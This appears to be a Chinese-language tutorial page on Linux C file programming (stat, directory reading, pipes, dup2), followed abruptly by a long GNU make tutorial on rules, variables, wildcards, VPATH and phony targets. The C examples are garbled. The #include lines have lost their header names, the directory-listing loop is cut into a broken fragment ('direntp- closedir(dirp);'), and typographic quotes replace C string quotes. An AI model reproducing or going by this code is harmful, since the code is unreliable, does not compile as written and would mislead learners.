stat用来判断没有打开的文件,而fstat用来判断打开的文件.我们使用最多的属性是st_mode.通过着属性我们可以判断给定的文件是一个普通文件还是一个目录,连接等等.可以使用下面几个宏来判断.
S_ISLNK(st_mode):是否是一个连接.S_ISREG是否是一个常规文件.S_ISDIR是否是一个目录S_ISCHR是否是一个字符设备.S_ISBLK是否是一个块设备S_ISFIFO是否 是一个FIFO文件.S_ISSOCK是否是一个SOCKET文件. 我们会在下面说明如何使用这几个宏的.
3。目录文件的操作
在我们编写程序的时候,有时候会要得到我们当前的工作路径。C库函数提供了getcwd来解决这个问题。
#include

char *getcwd(char *buffer,size_t size);

我们提供一个size大小的buffer,getcwd会把我们当前的路径考到buffer中.如果buffer太小,函数会返回-1和一个错误号.
Linux提供了大量的目录操作函数,我们学习几个比较简单和常用的函数.
#include
#include
#include
#include
#include

int mkdir(const char *path,mode_t mode);
DIR *opendir(const char *path);
struct dirent *readdir(DIR *dir);
void rewinddir(DIR *dir);
off_t telldir(DIR *dir);
void seekdir(DIR *dir,off_t off);
int closedir(DIR *dir);

struct dirent {
long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[NAME_MAX+1]; /* 文件名称 */

mkdir很容易就是我们创建一个目录,opendir打开一个目录为以后读做准备.readdir读一个打开的目录.rewinddir是用来重读目录的和我们学的rewind函数一样.closedir是关闭一个目录.telldir和seekdir类似与ftee和fseek函数.
下面我们开发一个小程序,这个程序有一个参数.如果这个参数是一个文件名,我们输出这个文件的大小和最后修改的时间,如果是一个目录我们输出这个目录下所有文件的大小和修改时间.

#include
#include
#include
#include
#include
#include
#include

static int get_file_size_time(const char *filename)
{
struct stat statbuf;

if(stat(filename,&statbuf)==-1)
{
printf(“Get stat on %s Error:%s\n”,
filename,strerror(errno));
return(-1);
}

if(S_ISDIR(statbuf.st_mode))return(1);
if(S_ISREG(statbuf.st_mode))
printf(“%s size:%ld bytes\tmodified at %s”,
filename,statbuf.st_size,ctime(&statbuf.st_mtime));

return(0);
}

int main(int argc,char **argv)
{
DIR *dirp;
struct dirent *direntp;
int stats;

if(argc!=2)
{
printf(“Usage:%s filename\n\a”,argv[0]);
exit(1);
}

if(((stats=get_file_size_time(argv[1]))==0)||(stats==-1))exit(1);

if((dirp=opendir(argv[1]))==NULL)
{
printf(“Open Directory %s Error:%s\n”,
argv[1],strerror(errno));
exit(1);
}

while((direntp=readdir(dirp))!=NULL)
if(get_file_size_time(direntp- closedir(dirp);
exit(1);
}

4。管道文件
Linux提供了许多的过滤和重定向程序,比如more cat
等等.还提供了< > | <<等等重定向操作符.在这些过滤和重 定向程序当中,都用到了管道这种特殊的文件.系统调用pipe可以创建一个管道.
#include

int pipe(int fildes[2]);

pipe调用可以创建一个管道(通信缓冲区).当调用成功时,我们可以访问文件描述符fildes[0],fildes[1].其中fildes[0]是用来读的文件描述符,而fildes[1]是用来写的文件描述符.
在实际使用中我们是通过创建一个子进程,然后一个进程写,一个进程读来使用的.
关于进程通信的详细情况请查看进程通信

#include
#include
#include
#include
#include
#include
#include
#define BUFFER 255

int main(int argc,char **argv)
{
char buffer[BUFFER+1];
int fd[2];

if(argc!=2)
{
fprintf(stderr,”Usage:%s string\n\a”,argv[0]);
exit(1);
}

if(pipe(fd)!=0)
{
fprintf(stderr,”Pipe Error:%s\n\a”,strerror(errno));
exit(1);
}
if(fork()==0)
{
close(fd[0]);
printf(“Child[%d] Write to pipe\n\a”,getpid());
snprintf(buffer,BUFFER,”%s”,argv[1]);
write(fd[1],buffer,strlen(buffer));
printf(“Child[%d] Quit\n\a”,getpid());
exit(0);
}
else
{
close(fd[1]);
printf(“Parent[%d] Read from pipe\n\a”,getpid());
memset(buffer,’\0′,BUFFER+1);
read(fd[0],buffer,BUFFER);
printf(“Parent[%d] Read:%s\n”,getpid(),buffer);
exit(1);
}
}

为了实现重定向操作,我们需要调用另外一个函数dup2.
#include

int dup2(int oldfd,int newfd);

dup2将用oldfd文件描述符来代替newfd文件描述符,同时关闭newfd文件描述符.也就是说,
所有向newfd操作都转到oldfd上面.下面我们学习一个例子,这个例子将标准输出重定向到一个文件.

#include
#include
#include
#include
#include
#include
#include

#define BUFFER_SIZE 1024

int main(int argc,char **argv)
{
int fd;
char buffer[BUFFER_SIZE];

if(argc!=2)
{
fprintf(stderr,”Usage:%s outfilename\n\a”,argv[0]);
exit(1);
}

if((fd=open(argv[1],O_WRONLY|O_CREAT|O_TRUNC,S_IRUSR|S_IWUSR))==-1)
{
fprintf(stderr,”Open %s Error:%s\n\a”,argv[1],strerror(errno));
exit(1);
}

if(dup2(fd,STDOUT_FILENO)==-1)
{
fprintf(stderr,”Redirect Standard Out Error:%s\n\a”,strerror(errno));
exit(1);
}

fprintf(stderr,”Now,please input string”);
fprintf(stderr,”(To quit use CTRL+D)\n”);
while(1)
{
fgets(buffer,BUFFER_SIZE,stdin);
if(feof(stdin))break;
write(STDOUT_FILENO,buffer,strlen(buffer));
}
exit(0);
}

好了,文件一章我们就暂时先讨论到这里,学习好了文件的操作我们其实已经可以写出一些比较有用的程序了.我们可以编写一个实现例如dir,mkdir,cp,mv等等常用的文件操作命令了.
想不想自己写几个试一试呢?

 

附:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/errno.h>

Make 程序最初设计是为了维护C程序文件防止不必要的重新编译。在使用命令行编译器的时候,修改了一个工程中的头文件,如何确保包含这个头文件的所有文件都得到编译?现在10机的版本生成是使用批处理程序,编译那些文件依赖于程序的维护者,在模块之间相互引用头文件的情况下,要将所有需要重新编译的文件找出来是一件痛苦的事情;在找到这些文件之后,修改批处理进行编译。实际上这些工作可以让make程序来自动完成,make工具对于维护一些具有相互依赖关系的文件特别有用,它对文件和命令的联系(在文件改变时调用来更新其它文件的程序)提供一套编码方法。Make工具的基本概念类似于Proglog语言,你告诉make需要做什么,提供一些规则,make来完成剩下的工作。
1简介
make工作自动确定工程的哪部分需要重新编译,执行命令去编译它们。虽然make多用于C程序,然而只要提供命令行的编译器,你可以将其用于任何语言。实际上,make工具的应用范围不仅于编程,你可以描述任和一些文件改变需要自动更新另一些文件的任务来使用它。
1.1准备工作
如果要使用make,你必须写一个叫做“makefile”的文件,这个文件描述工程中文件之间的关系,提供更新每个文件的命令。典型的工程是这样的:可执行文件靠目标文件来更新,目标文件靠编译源文件来更新。
Makefile写好之后,每次更改了源文件后,只要执行make就足够了,所有必要的重新编译将执行。Make程序利用makefile中的数据库和文件的最后修改时间来确定那个文件需要更新;对于需要更新的文件,make执行数据库中记录的命令。
可以提供命令行参数给make来控制那个文件需要重新编译。
1.2Makefile介绍
Makefile文件告诉make做什么,多数情况是怎样编译和链接一个程序。
这里有一个简单的makefile,描述如何编译链接由8个C文件和3个头文件组成的一个编辑器:
edit : main.o kbd.o command.o display.o \
insert.o serach.o files.o utils.o
cc –o edit main.o kbd.o command.o display.o \
insert.o search.o files.o utils.o
main.o : main.c defs.h
cc –c main.c
kdb.o : kbd.c defs.h command.h
cc –c kbd.c
command.o : command.c defs.h command.h
cc -c command.c
display.o : display.c defs.h buffer.h
cc -c display.c
insert.o : insert.c defs.h buffer.h
cc -c insert.c
search.o : search.c defs.h buffer.h
cc -c search.c
files.o : files.c defs.h buffer.h command.h
cc -c files.c
utils.o : utils.c defs.h
cc -c utils.c
clean :
rm edit main.o kbd.o command.o display.o \
insert.o search.o files.o utils.o
将长行用\分开便于阅读,这和使用一个长行的作用是一样的。使用这个makefile创建可执行文件“edit”时运行make就可以了;如果要将可执行文件和目标文件删除,执行make clean
make重新编译这个编辑器时,每个更改的C文件必须重新编译;如果头文件更改了,每个包含头文件的C文件必须重新编译;每次编译产生一个对应于原文件的目标文件。最终,目标文件链接在一起产生新的可执行文件。
1.3规则简介
makefile中的规则是这样的:
TARGET … : DEPENDENCIES …
COMMAND

目标(TARGET)程序产生的文件,如可执行文件和目标文件;目标也可以是要执行的动作,如“clean”。
依赖(DEPENDENCIES)是用来产生目标的输入文件,一个目标通常依赖于多个文件。
命令(COMMAND)是make执行的动作,一个可以有多个命令,每个占一行。注意:每个命令行的起始字符必须为TAB字符!
有依赖关系规则中的命令通常在依赖文件变化时负责产生target文件,make执行这些命令更新或产生target。规则可以没有依赖关系,如包含target “clean”的规则。
规则解释如何和何时重做该规则中的文件,make根据依赖关系执行产生或更新目标;规则也说明如何和何时执行动作。有的规则看起来很复杂,但都符合上述模式。
1.4make工作原理
缺省make从第一个target开始(第一个非 ’.’ 开始的target),这称作缺省目标。在上述的makefile中,缺省目标是更新执行程序’edit’,将这个目标置于最前面。当执行make的时候,make程序从当前目录读入makefile开始处理第一个规则;在例子中,这个规则是重新链接’edit’;在make处理这个规则之前,必须处理’edit’所依赖的那些文件的规则,例子中是目标文件。这些文件按照他们自己的规则处理:通过编译源文件来更新每个’.o’文件;当依赖关系中的源文件或头文件比目标文件新,或目标文件不存在时,必须重新编译。
其它的规则被处理是因为他们的target是目标的依赖,和目标没有依赖关系的规则不会被处理,除非指定make处理(如make clean)。
在重新编译目标文件之前,make会试图更新它的依赖:源文件和头文件。例子中的makefile对源文件和头文件未指定任何操作:’.c’和’.h’文件不是任何规则的目标。确认所有的目标文件都是最新的之后,make决定是否重新链接’edit’:如果’edit’不存在,或者任何一个目标文件都比它新,则链接工作将进行。
这样,如果我们改变insert.c运行make,make会编译这个文件来更新’insert.o’,然后链接’edit’;如果修改了’command.h’运行make,’kbd.o’,’command.o’,’files.o’会重新生成,链接’edit’。
1.5使用变量
在例子中,在规则’edit’中,目标文件被列出来两次:
edit : main.o kbd.o command.o display.o \
insert.o search.o files.o utils.o
cc -o edit main.o kbd.o command.o display.o \
insert.o search.o files.o utils.o
这样的重复容易出错:假设工程中加入了一个新的目标文件,可能只将其加入了一个列表中;通过使用变量可以消除这种风险:变量允许一个预定义的字符串在多个地方被替换。
在makefile中,可以写这样一行来定义’object’变量:
objects = main.o kbd.o command.o display.o \
insert.o search.o files.o utils.o
于是在需要目标文件名列表的地方,使用$(object) 来代替变量的值。以下是使用了变量以后的makefile:
objects = main.o kbd.o command.o display.o \
insert.o search.o files.o utils.o
edit : $(objects)
cc -o edit $(objects)
main.o : main.c defs.h
cc -c main.c
kbd.o : kbd.c defs.h command.h
cc -c kbd.c
command.o : command.c defs.h command.h
cc -c command.c
display.o : display.c defs.h buffer.h
cc -c display.c
insert.o : insert.c defs.h buffer.h
cc -c insert.c
search.o : search.c defs.h buffer.h
cc -c search.c
files.o : files.c defs.h buffer.h command.h
cc -c files.c
utils.o : utils.c defs.h
cc -c utils.c
clean :
rm edit $(objects)
1.6简化命令
为每个文件写出编译命令不是必要的,因为make可以自己来做;以’.c’文件更新’.o’文件有一个隐含的规则,使用’cc -c’命令。Make将利用’cc –c main.c –o main.o’来将main.c编译为main.o,因此在生成目标文件的规则中,可以省略命令。
当’.c’文件以这样的方式使用时,将自动加入到依赖关系中;由是在省略命令的前提下,可以将’.c’文件从依赖关系中省略。以下是简化过的makefile:
objects = main.o kbd.o command.o display.o \
insert.o search.o files.o utils.o
edit : $(objects)
cc -o edit $(objects)

main.o : defs.h
kbd.o : defs.h command.h
command.o : defs.h command.h
display.o : defs.h buffer.h
insert.o : defs.h buffer.h
search.o : defs.h buffer.h
files.o : defs.h buffer.h command.h
utils.o : defs.h
.PHONY : clean
clean :
-rm edit $(objects)
1.7另一种风格
如果makefile中的目标都是以隐含规则生成,可以将规则按照依赖关系分组:
objects = main.o kbd.o command.o display.o \
insert.o search.o files.o utils.o

edit : $(objects)
cc -o edit $(objects)

$(objects) : defs.h
kbd.o command.o files.o : command.h
display.o insert.o search.o files.o : buffer.h
这里’defs.h’作为所有目标文件的依赖。这种风格是好是坏取决于个人喜好,它非常紧凑,但是将每个目标的依赖信息放在一起看起来更清楚一些。
1.8清理
编写规则不至于编译程序。Makefile通常描述如何做其它事情:比如删除目录中的目标文件和可执行文件来清理目录。例子中是这样写的:
clean:
rm edit $(objects)
实际情况是,我们需要处理一些意外事件:存在一个叫做’clean’的文件;如果rm出错,并不希望make过程停止下来,修改过的版本如下:
.PHONY : clean
clean :
-rm edit $(objects)
这样的规则当然不能放在makefile的开始,因为这并不是我们缺省要做的工作。由于’clean’并不是’edit’的依赖,在运行make时没有参数时,这条规则不会执行;要执行这个规则,必须运行’make clean’。
2Makefile
Makefile中包含五种内容:显式规则,隐式规则,变量定义,指令(directive)和注释。
?;显式规则描述如何生成规则的目标,它列出了目标依赖的文件,指定了产生或更新目标的命令
?;隐式规则描述如何生成基于文件名的一类文件,说明目标可能依赖于和其文件名类似的文件,指定了相应的命令。
?;指令类似与编译器的伪指令,包含:
?;指示make读入另一个makefile
?;决定是否忽略makefile中的一部分
?;定义一个变量
?;一行中‘#’开始是注释,直到行末,除非遇到续行符号。在’define’和命令中不能有注释,其它情况下注释可出现在任何地方。
2.1makefile名字
缺省情况下,make以下列名字查找makefile:’GNUmakefile’,’makefile’和’Makefile’(注意大小写)。通常你的makefile应叫做’makefile’或’Makefile’。’GNUmakefile’不推荐,除非你的makefile是为GNU的make定制的,其它的make不认为该名字是一个makefile的名字。
如果你使用非标准命名的makefile,必须用命令开关’-f ’ 或 ’—file’。参数’ –f NAME’或’—file NAME’告诉make读入NAME作为makefile。如果使用多个该开关,所有的文件将按顺序连接起来。如果使用该选项,标准的makefile名字不会自动检测。
2.2包含
‘include’指令告诉make暂停处理余下的内容,读入其它makefile。语法如下:
include FILENAMES …
这一行起始可以有空格,但TAB字符不允许。如果文件名包含变量或函数,这些将被扩展。
2.3‘MAKEFILE’变量
如果环境变量’MAKEFILE’已定义,make认为它的值是一系列空格隔开的文件名,这些文件在处理其它makefile前被make程序读入。这类似于include指令;这些文件中的目标不会影响缺省目标,而且如果文件未找到的话,make并不认为是错误。
这个变量的主要用途是递归引用make程序时通讯
2.4如何重新生成makefile
有时候makefile是从其它文件生成的,比如RCS或SCCS文件。如果makefile是由其它文件生成的,需要make读入最新版本的makefile。
在读入所有makefile之后,make认为每个makefile是一个目标,试图去更新它;如果makefile中有一条如何更新它的规则,或者有适用的隐式规则,需要的更新会进行。所有的makefile检查完之后,如果有的改变了,make重新开始再读入(make会试图再做更新,但通常不会再改变了,因为已经是最新的了)。
如果一个文件使用双冒号规则,提供了命令但没有依赖关系,文件始终会被更新。在makefile的情况下,如果makefile双冒号规则,提供了命令但没有依赖关系,这样makefile始终会重新生成,这会导致循环:make只是在不断更新makefile,却不干活。为避免这种情况,make不会重新生成那些只有命令没有依赖关系的双冒号规则的makefile。
如果没有使用’-f’或’–file’选项,make会尝试缺省的makefile文件名。和指明’-f’或’–file’选项不同,make不能确定这些文件是否应当存在。然而,如果缺省makefile不存在但可以通过运行make规则生成,你可能希望这些规则被运行使得makefile可以使用。
因此,如果没有缺省makefile,make试图按照makefile名查找的顺序生成它,直到成功或名字用完。注意如果make 不能找到或生成makefile,这并不是错误;makefile不总是必需的。
当使用’-t’或’–touch’选项时,不希望使用过时的makefile来决定那个目标来touch。所以’-t’选项对makefile更新不起作用;类似’-q’(or ‘—question’)和’-n’(or ’—just-print’)不阻止makefile的更新,因为过时的makefile会产生错误的输出。这样’make –f mfile –n foo’会更新’mfile’,读入它,打印出更新’foo’需要执行的命令但不运行这些命令。与’foo’有关的命令是更新过的’mfile’中的内容。
但是有时不希望更新makefile,可以将makefile作为命令行的目标,当makefile被显式指定为目标时,’-t’选项也适用于它们。
这样’make –f mfile –n mfile foo’会读入’mfile’,打印出更新执行的命令,’foo’的命令是当前的’mfile’中的内容。
2.5重载makefile
可以使用’include’指令来包含其它makefile,增加目标的变量定义。然而,make不允许同一个目标有不同的命令,有其它的途径可以达到目的。
假设有’makefile’ 和’mfile’,’makfile’要包含’mfile’,但都有对于目标’foo’的规则。这是可以在’makefile’中写一条匹配任意模式的规则,指明当make在’makefile’中未找到目标时,搜索’mfile’:
foo:
frobnicate > foo
%: force
@$(MAKE) -f mfile $@
force: ;
当执行’make foo’时,make找到’makefile’,执行命令’ frobnicate > foo’;执行’make bar’时,在’makefile’中未找到相应的规则,这时模式规则适用,执行命令’make –f mfile bar’,’makefile’中未提及的其它目标也是类似的。
这种方法之所有工作是因为模式规则的模式是’%’,可以匹配任何的目标;这条规则的依赖是’force’,保证即使目标存在命令也会执行;’force’规则的命令为空防止’make’为其搜索隐式规则-这样会导致依赖循环。
3规则
makefile中的规则描述如何生成特定的文件,即规则的目标。规则列出了目标的依赖文件,指定生成或更新目标的命令。
规则的次序是不重要的,除非是确定缺省目标:缺省目标是第一个makefile中的第一个规则;如果第一个规则有多个目标,第一个目标是缺省的。有两个例外:以’.’开头的目标不是缺省目标;模式规则对缺省目标没有影响。
通常我们所写的地一个规则是编译整个或makefile中指定的所有程序。
3.1例子
foo.o : foo.c defs.h # module for twiddling the frobs
cc -c -g foo.c
它的目标是’foo.o’,依赖于’foo.c’和’defs.h’,有一个命令’cc –c –g foo.c’。命令行以TAB字符开始标识它是一个命令。
这条规则说明两件事:
?;如何决定’foo.o’是旧的:如果它不存在,或者’foo.c’或者’defs.h’比它新。
?;如何更新’foo.o’文件:通过运行’cc’程序。命令未提及’defs.h’,担可以猜想’foo.c’包含了它,这是’defs.h’被置于依赖关系中的理由。
3.2规则的语法
语法如下:
TARGETS : DEPENDENCIES
COMMAND

或者
TARGETS : DEPENDENCIES ; COMMAND
COMMAND

TARGETS是以空格隔开的文件名,统配符可以使用。通常一个规则只有一个目标,偶尔也有多个。
命令行以TAB键开始。第一条命令可在依赖关系的下一行;或者在同一行,在分号后面;两种方式效果相同。
因为’$’符号被用做变量引用,如果要在规则中使用’$’符号,必须写两个:’$$’。可以用’\’符号来分割一个长行,这不是必须的,因为make对行的长度没有限制。
3.3通配符
规则中的文件名可以包含统配符,如’*’,’?’。
文件名前的字符’~’有特殊的含义。单独使用,或跟随一个’/’,代表用户的home目录,比如’~/bin’扩展为/home/you/bin’;如果’~’跟随一个单词,表示单词指示的那个用户的home目录,如’~john/bin’扩展为’/home/john/bin’。
通配符在目标,依赖关系,命令中自动扩展,其它情况下,统配符的扩展除非显式使用’wildcard’函数。通配符的特殊意义可以使用’\’符号关闭。
例子:
clean:
rm -f *.o

print: *.c
lpr -p $?
touch print
通配符在定义变量时并不扩展,例如:
objects = *.o
则objects的值是字符串’*.o’;但是如果你将objects用于目标,依赖或命令中,扩展会进行。要将objects设置成扩展过的内容,使用:
objects := $(wildcard *.o)
3.3.1通配符的缺陷
这是一个使用通配符的例子,但结果不是你所期望的。假设可执行文件’foo’是从当前目录中的所有’.o’文件生成的:
objects = *.o

foo : $(objects)
cc -o foo $(CFLAGS) $(objects)
objects变量的值是字符串’*.o’。通配符扩展在规则’foo’中进行,于是所有存在的’.o’文件成为’foo’的依赖而且在需要时重新编译。
但如果删除了所有的’.o’文件呢?当通配符不匹配任何文件时,一切都保持原样:则’foo’依赖于一个叫做’*.o’的文件;由于这个文件不大可能存在,’make’程序会报告一个无法生成’*.o’文件的错误,这不是期待的结果。
实际上可以用通配符获得期望结果,但是需要复杂的技术,包括’wildcard’函数和字符串替换函数。
3.3.2wildcard函数
通配符自动在规则中进行。但是在变量赋值的和函数的参数中通配符不会扩展,如果在这些情况下需要通配符扩展,必须使用’wildcard’函数。语法如下:
$(wildcard PATTERN…)
这个在makefile任何地方出现的字符串,会被匹配任何一个文件名格式的以空格隔开的现有文件列表替换。如果没有任何文件匹配一个模式,这个模式从’wildcard’的输出中忽略,注意,这和上述的通配符的处理是不一样的。
‘wildcard’函数的一个功能是找出目录中所有的’.c’文件:
$(wildcard *.c)
可以通过替换后缀’.c’为’.o’从C文件列表得到目标文件的列表:
$(patsubst %.c,%.o,$(wildcard *.c))
这样,上节中的makefile改写为:
objects := $(patsubst %.c,%.o,$(wildcard *.c))

foo : $(objects)
cc -o foo $(objects)
这个makefile利用了编译C程序的隐含规则,所以不需要对编译写出显式的规则。(’:=’是’=’的一个变体)
注意:’PATTERN’是大小写敏感的。
3.4目录搜索
对于大的系统,通常将源文件和目标文件放在不同的目录中。目录搜索功能可以让make自动在多个目录中搜寻依赖文件,当你将文件重新分布是,不需要改变规则,更改搜索路径即可。
3.4.1‘VPATH’
make变量’VPATH’列出make应当搜索的目录列表。很多情况下,当前目录不包含依赖文件,’VPATH’描述一个对所有文件的搜索列表,包含那些是规则的目标的文件。
如果一个目标或者依赖文件在当前目录没找到的话,’make’在’VPATH’中列出的目录中查找同名的文件。如果找到的话,那个文件成为依赖文件;规则可以象这些文件在当前目录中一样来使用他们。
在’VPATH’变量中,目录名以冒号或空格隔开;目录列出的顺序决定make查找的顺序。(注:在pSOSystem 2.5移植到Win32的GNU make目录名必须使用分号隔开,以下均简称Win32 GNU make)。举例说明:

VPATH = src:../headers 则规则
foo.o : foo.c
被解释为
foo.o : src/foo.c
假设’foo.c’在当前目录不存在,在’src’目录中可以找到。
3.4.2选择性搜索
与’VPATH’变量相似但更具选择性的是’vpath’指令(注意是小写),可以指定对于符合特定模式文件的查找路径。这样可以为不同类型的文件指定不同的搜索路径。
‘vpath’指令共有三中形式:
?;‘vpath PATTERN DIRECTORIES’
为匹配PATTERN的文件名指定搜索路径DIRECTORIES,目录的分隔和’VPATH’的相同
?;‘vpath PATTERN’
清除为匹配PATTERN的文件名指定的搜索路径
?;‘vpath’
清除所有以前用’vpath’指定的搜索路径
‘vpath’的模式是包含’%’的字符串:这个字符串必须匹配需要搜索的依赖文件名,’%’字符匹配0个或多个任意字符。例如:’%.h’匹配任何以’.h’结尾的文件(如果没有%,则PATTERN必须和依赖文件完全一致,这种用法不太多)。
当当前目录中不存在依赖文件时,如果’vpath’中的PATTERN匹配依赖文件名,则指令中DIRECTORIES列出的目录和’VPATH’中同样处理。举例:
vpath %.h ../headers
告诉make在当前目录中未找到的’.h’文件在../headers目录中查找。
如果多个’vapth’的模式匹配依赖文件名,make将逐一处理,在所有指定的目录中搜索。Make按照’vapth’在makefile中的次序;来处理它们,多个相同模式的’vapth’是相互独立的。
vpath %.c foo
vpath % blish
vpath %.c bar
将按照’foo’,‘blish’,’bar’的次序查找’.c’文件。而
vpath %.c foo:bar
vpath % blish
按照’foo’,’bar’,’blish’的顺序搜索。
3.4.3使用自动变量
目录搜索的结果并不改变规则中的命令:命令按原样被执行。因此,必须写出与目录搜索功相适应的命令。这可以通过使用’$^’这样的自动变量来完成。’$^’表示规则中的所有依赖文件,包含它们所在的目录名(参见目录搜索);’$@’表示目标。例如:
foo.o : foo.c
cc -c $(CFLAGS) $^ -o $@
通常情况下,依赖文件也包含头文件,但命令中并不提及这些文件:变量’$<’表示第一个依赖文件:
VPATH = src:../headers
foo.o : foo.c defs.h hack.h
cc –c $(CFLAGS) $< -o $@
3.4.4目录搜索和隐含规则
使用’VPATH’和’vpath’指定目录搜索也会影响隐含规则。例如:文件’foo.o’没有显式规则,make会考虑隐式规则:如果’foo.c’存在则编译它;如果这个文件不存在,则在相应的目录中查找;如果’foo.c’在任一的目录中存在,则C编译的隐式规则被应用。
隐式规则的命令使用自动变量通常是必要的,这样无需其它努力即可以使用目录搜索得到的文件名。
3.5PHONY目标
Phony目标并非实际的文件名:只是在显式请求时执行命令的名字。有两种理由需要使用phony目标:避免和同名文件冲突,改善性能。
如果编写一个规则,并不产生目标文件,则其命令在每次make该目标时都执行。例如:
clean:
rm *.o temp
因为’rm’命令并不产生’clean’文件,则每次执行’make clean’的时候,该命令都会执行。如果目录中出现了’clean’文件,则规则失效了:没有依赖文件,文件’clean’始终是最新的,命令永远不会执行;为避免这个问题,可使用’.PHONY’指明该目标。如:
.PHONY : clean
这样执行’make clean’会无视’clean’文件存在与否。
已知phony目标并非是由其它文件生成的实际文件,make会跳过隐含规则搜索。这就是声明phony目标会改善性能的原因,即使你并不担心实际文件存在与否。完整的例子如下:
.PHONY : clean
clean :
rm *.o temp
phony目标不应是真正目标文件的依赖。如果这样,每次make在更新此文件时,命令都会执行。只要phony目标不是真正目标的依赖,规则的命令只有在指定此目标时才执行。
Phony目标可以有依赖关系。当一个目录中有多个程序是,将其放在一个makefile中会更方便。因为缺省目标是makefile中的第一个目标,通常将这个phony目标叫做’all’,其依赖文件为各个程序:
all : prog1 prog2 prog3
.PHONY : all
prog1 : prog1.o utils.o
cc -o prog1 prog1.o utils.o
prog2 : prog2.o
cc -o prog2 prog2.o
prog3 : prog3.o sort.o utils.o
cc -o prog3 prog3.o sort.o utils.o
这样,使用’make’将可以将三个程序都生成了。
当一个phony目标是另一个的依赖,其作用相当于子程序,例如:
.PHONY: cleanall cleanobj cleandiff
cleanall : cleanobj cleandiff
rm program
cleanobj :
rm *.o
cleandiff :
rm *.diff
3.6FORCE目标
当规则没有依赖关系也没有命令,而且其目标不是存在的文件名,make认为此规则运行时这个目标总是被更新。这意味着如果规则依赖于此目标,其命令总是被执行。
clean: FORCE
rm $(objects)
FORCE:
例中目标’FORCE’满足这种特殊条件,这样依赖于它的目标’clean’被强制执行其命令。名字’FORCE’没有特殊含义,只不过通常这样用而已。这种方式使用’FORCE’和’.PHONY : clean’效果相同。使用’.PHONY’更加明确高效,担不是所有的’make’都支持;这样许多makefile中使用了’FORCE’。
3.7空目标
空目标(empty target)是phony目标的变种:用来执行显式请求的一个动作。和phony目标不同的是:这个目标文件可以真实存在,担文件的内容无关紧要,通常是空的。空目标文件的目的是利用其最后修改时间来记录命令最近一次执行的时间,这是通过使用’touch’命令更新目标文件来达到的。
print: foo.c bar.c
lpr -p $?
touch print
利用这条规则,执行’make print’时如果自上次’make print’之后任一文件改变了,’lpr’命令会执行。自动变量’$?’是为了只打印出那些变化了的文件。
3.8内建的特殊目标
某些名字作为目标存在时有特殊含义。
★.PHONY该目标的依赖被认为是phony目标,处理这些目标时,命令无条件被执行,不管文件名是否存在及其最后修改时间
★.SUFFIXES该目标的依赖被认为是一个后缀列表,在检查后缀规则时使用
★.DEFAULT该目标的规则被使用在没有规则(显式的或隐含的)的目标上。如果’DEFAULT’命令定义了,则对所有不是规则目标的依赖文件都会执行该组命令
★.PRECIOUS该目标的依赖文件会受到特别对待:如果make被kill或命令的执行被中止,这些目标并不删除;而且如果该目标是中间文件,在不需要时不会被删除。可以将隐含规则的目标模式(如%.o)做为’.PRECIOUS’的依赖文件,这样可以保存这些规则产生的中间文件。
★.INTERMEDIATE该目标的依赖文件被当作中间文件;如果该目标没有依赖文件,则makefile中所有的目标文件均被认为是中间文件。
★.IGNORE在执行该目标的依赖规则的命令时,make会忽略错误,此规则本身的命令没有意义。如果该规则没有依赖关系,表示忽略所有命令执行的错误,这种用法只是为了向后兼容;由于会影响到所有的命令,所以不是特别有用,推荐使用其它更有选择性忽略错误的方法。
★.SILENT在执行该目标的依赖规则的命令时,make并不打印命令本身。该规则的命令没有意义。在’.SILIENT’没有依赖关系时,表示执行makefile中的所有命令都不会打印,该规则只是为了向后兼容提供的。
★.EXPORT_ALL_VARIABLES只是作为一个目标存在,指示make将所有变量输出到子进程中。
定义的隐含规则的后缀作为目标时,也认为它是特殊目标;两个后缀的连接也是一样,比如’.c.o’。这些目标是后缀规则,一中定义隐式规则的过时方法(但仍然广泛使用)。后缀通常以’.’开始,所以特殊目标也以’.’开始。
3.9一个规则多个目标
一条有多个目标的规则和写多条规则,每条一个目标作用是等同的。同样的命令应用于所有目标,但其效用会因将实际目标以’$@’代替而不同。规则中所有目标的依赖关系是一样的。
这在两种情况下有用:
★只有依赖关系,不需要命令。例如:
kbd.o command.o files.o: command.h
★所有的目标同样的命令。命令不需要完全相同,因为在命令中可以使用’$@’:
bigoutput littleoutput : text.g
generate text.g -$(subst output,,$@) > $@

bigoutput : text.g
generate text.g -big > bigoutput
littleoutput : text.g
generate text.g -little > littleoutput
等同。这里假设程序’generate’产生两种输出:一种使用’-big’选项,一种使用’-little’选项。如果想象使用’$@’变化命令那样来变化依赖关系,不能通过多目标的普通规则实现,但是可以通过模式规则来实现。
3.10一个目标多条规则
一个文件可以是多条规则的目标,所有规则的依赖关系被合并。如果目标比任一个依赖文件旧,命令被执行。
一个文件只能有一组命令执行。如果多个规则对于同一个文件都给出了命令,make使用最后一组并打印错误信息(特殊情况:如果文件名以’.’开始,并不打印错误信息,这一点是为了和其它make兼容)。没有任何理由需要将makefile写成这样,这是make给出错误信息的理由。
一条只有依赖关系的附加规则可以一次给出许多文件的附加依赖文件。例如’objects’变量表示系统中编译器的所有输出.,说明当’config.h’更改时所有文件必须重做的简单方法如下:
objects = foo.o bar.o
foo.o : defs.h
bar.o : defs.h test.h
$(objects) : config.h
不用改变实际目标文件生成的规则,这条规则可以在需要增删附加的依赖关系时插入或提出。另一个诀窍是附加的依赖关系可以用变量表示,在make执行时,可以给变量赋值:
extradeps=
$(objects) : $(extradeps)
当命令`make extradeps=foo.h’执行时会认为’foo.h’是每个目标文件的依赖文件,但简单的’make’命令不是这样。
3.11静态模式规则
静态模式规则(static pattern rules)可以指定多个目标,并且使用目标名字来建议依赖文件的名字;比普通多目标规则更通用因为不需要依赖关系是相同的:依赖关系必须类似但不需要相同。
3.11.1语法
TARGETS …: TARGET-PATTERN: DEP-PATTERNS …
COMMANDS

TARGETS列表指出规则应用的目标,可以包含通配符,于普通规则的目标相同。TARGET-PATTERN和DEP-PATTERNS来表明目标的依赖关系如何计算:匹配TARGET-PATTERN的目标从名字中抽出一部分,叫做词干(stem),词干被替换到DEP-PATTERNS来形成依赖文件名。
每个模式通常包含一个’%’字符。当TARGET-PATTERN匹配一个目标时,’%’字符可以匹配目标名中的任何部分;这部分即是词干,模式的其余部分必须完全匹配。例如’foo.o’匹配’%.o’,’foo’是词干;目标’foo.c’和’foo.out’并不匹配这个模式。
